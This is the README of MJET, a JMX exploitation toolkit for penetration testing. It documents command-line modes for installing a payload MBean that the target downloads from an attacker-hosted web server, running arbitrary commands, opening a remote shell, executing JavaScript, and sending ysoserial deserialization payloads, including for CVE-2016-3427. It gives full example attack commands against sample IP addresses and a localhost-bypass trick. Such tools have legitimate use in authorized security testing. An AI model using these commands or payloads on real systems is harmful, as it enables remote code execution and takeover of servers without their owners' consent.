MJET by MOGWAI LABS

MOGWAI LABS JMX Exploitation Toolkit

MJET is a fork of sjet, which was developed by siberas but is no longer actively maintained. MJET is maintained by the MOGWAI LABS team which also provided most of the original sjet codebase.

MJET allows an easy exploitation of insecure configured JMX services. Additional background information can be found here and here.

!!! Important: This project is no longer maintained

This repository is no longer activly maintained. We recommend using qtcs beanshooter instead.

Prerequisites

Jython 2.7
Ysoserial (for exploiting deserialisation vulnerabilities via JMX)
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (to support the alternative JMX Message Protocol (JMXMP))

Usage

MJET implements a CLI interface (using argparse):

jython mjet.py targetHost targetPort MODE password (modeOptions)

Where

targetHost - the target IP address
targetPort - the target port where JMX is running
MODE - the script mode
modeOptions - the options for the mode selected

Authentication support (if JMX authentication is enabled):

--jmxrole - the username
--jmxpassword - the password

Other optional arguments:

--jmxmp - Use JMX-MP (requires to load an additional JAR)
--localhost_bypass - service port for the proxy in localhost bypass
--shell - Use defined shell
--rmiObjectName - RMI name of the JMX endpoint

Modes and modeOptions

install - installs the payload in the current target
- password - the password that should be set after successful installation
- payload_url - full URL to load the payload
- payload_port - port to load the payload
uninstall - uninstalls the payload from the current target
changepw - change the password on a already deployed payload
- password - the password to access the installed MBean
- newpass - The new password
command - runs the command CMD in the targetHost
- password - the password to access the installed MBean
- CMD - the command to run
shell - starts a simple shell in targetHost (with the limitations of java's Runtime.exec())
- password - the password to access the installed MBean
javascript - runs a javascript file FILENAME in the targetHost
- password - the password to access the installed MBean
- FILENAME - the javascript to be run
deserialize - send a ysoserial payload to the target
- gadget - gadget as provided by ysoserial, e.g., CommonsCollections6
- cmd - command to be executed
webserver - just run the MLET web server
- payload_url - full URL to load the payload
- payload_port - port to load the payload

Examples

Installing the payload MBean on a vulnerable JMX service

In the following example, the vulnerable JMX service runs on 10.165.188.23 port 2222, the attacker has the IP address 10.165.188.1. The JMX service will connect to the web service of the attacker to download the payload jar file. MJET will start the necessary web service on port 8000.

After the successful installation of the MBean, the default password is changed to the password that was provided at the command line ("super_secret").

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

Exploit Java deserialization with ysoserial

Exploit Java deserialization with ysoserial on target: The file ysoserial.jar must be present in the MJET directory. You can select any ysoserial payload as you like, similar to the original ysoserial calls.

This attack even works if JMX authentication is enabled and the user has "readonly" permissions.

h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

Exploit CVE-2016-3427: JMX authentication with Java deserialization

Exploit CVE-2016-3427 with ysoserial: The file ysoserial.jar must be present in the MJET/jar directory. You can select any ysoserial payload as you like, similar to the original ysoserial calls.

Webserver only mode

It is also possible to just run the web server that provides the MLET code and the JAR file with the payload MBean

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

JMX message protocol (JMXMP) support

Download opendmk_jmxremote_optional_jar-1.0-b01-ea.jar and move it into the jars directory. You need to add this directory to the classpath via java -cp.

java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Localhost bypass

It sometimes happens that the RMI registry exposes a RemoteObject that is only accessible on localhost (example @127.0.0.1:45401). However, the port is open where the RemoteObject is accessible over the network.

$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

45401/tcp open  rmiregistry Java RMI

It is still possible to exploit this service by using the --localhost_bypass <PORT> option. In the following example, we use port 45401. This will start a TCP proxy on localhost and forward the traffic to the targetHost on the supplied port.

$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

Custom RMI Object Name

Sometimes it happens that the RMI object name of the JMX endpoint is not jmxrmi, in this case the parameter --rmiObjectName can be used to specify the appropriate RMI object name, for example --rmiObjectName=customJmxRmi.

Using own defined Shell

Sometimes it happens that the target system does not provide a /bin/bash or cmd.exe shell. In this case the optional parameter --shell can be specified, for example --shell="bash -c". By executing the javascript javaproperties.js with mjet.py, more details about the environment are given.

$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

Build and run the docker image

# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
